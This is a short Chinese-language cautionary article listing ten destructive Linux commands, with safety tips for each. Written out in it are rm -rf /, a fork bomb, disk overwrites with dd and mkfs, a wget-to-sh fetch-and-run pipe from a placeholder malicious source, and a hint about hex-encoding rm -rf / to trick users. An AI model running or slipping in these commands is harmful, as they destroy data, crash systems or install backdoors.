Linux 命令列強大高效,但也藏著足以摧毀系統的「地雷」。以下整理十大高風險指令,多數需 root 權限才能發揮最大破壞力,一般使用者僅會損壞自家目錄,但仍需極度謹慎。
rm -rf:刪除不留情rm -rf / 會遞歸強制刪除根目錄下所有檔案,系統瞬間化為烏有。常見變體還有 rm -rf *(清空當前目錄)、rm -rf .(刪除當前資料夾及子目錄)。建議在 .bashrc 設定 alias rm='rm -i' 強制互動確認,大多數發行版已預設開啟。
:(){ :|:& };::Fork 炸彈定義一個函數不斷自我複製,指數級佔滿進程表,導致系統癱瘓。切勿在生產伺服器嘗試!
命令 > /dev/sda:直接寫入裝置將命令輸出導向硬碟裝置檔,會覆寫磁碟前端資料,導致檔案系統毀損、資料全失。
mv 目錄 /dev/null:丟進黑洞/dev/null 是資料黑洞,移動目錄至此等同刪除,但資料恢復軟體仍可能救回。真正銷毀需專用工具多次覆寫。
wget https://惡意來源 -O- | sh:盲目執行腳本下載並直接管線給 shell 執行,極易中植入後門。務必先下載審閱內容再決定是否執行。
mkfs.ext3 /dev/sda:格式化硬碟直接對裝置建立檔案系統,所有資料瞬間蒸發。生產環境務必確認分區代號(如 sda1)而非整顆硬碟。
> 檔案:清空檔案內容單一大於號會截斷檔案,若誤輸入 > /etc/fstab 系統將無法開機。建議改用 >> 追加模式。
^foo^bar:歷史命令快速替換雖能修正上一條指令拼字錯誤,但若未仔細檢查替換後語意,可能執行非預期操作。
dd if=/dev/random of=/dev/sda:隨機資料覆寫向硬碟寫入亂數,徹底抹除資料並破壞檔案系統,系統進入不可恢復狀態。
將 rm -rf / 編碼藏於十六進位字串中,誘騙使用者執行。絕不編譯/執行未知來源程式碼!



總結:命令列雖強,一念之差釀大禍。養成「先備份、再確認、後執行」習慣,並在關鍵操作前加上 echo 預覽結果,才能安享 Linux 的高效與自由。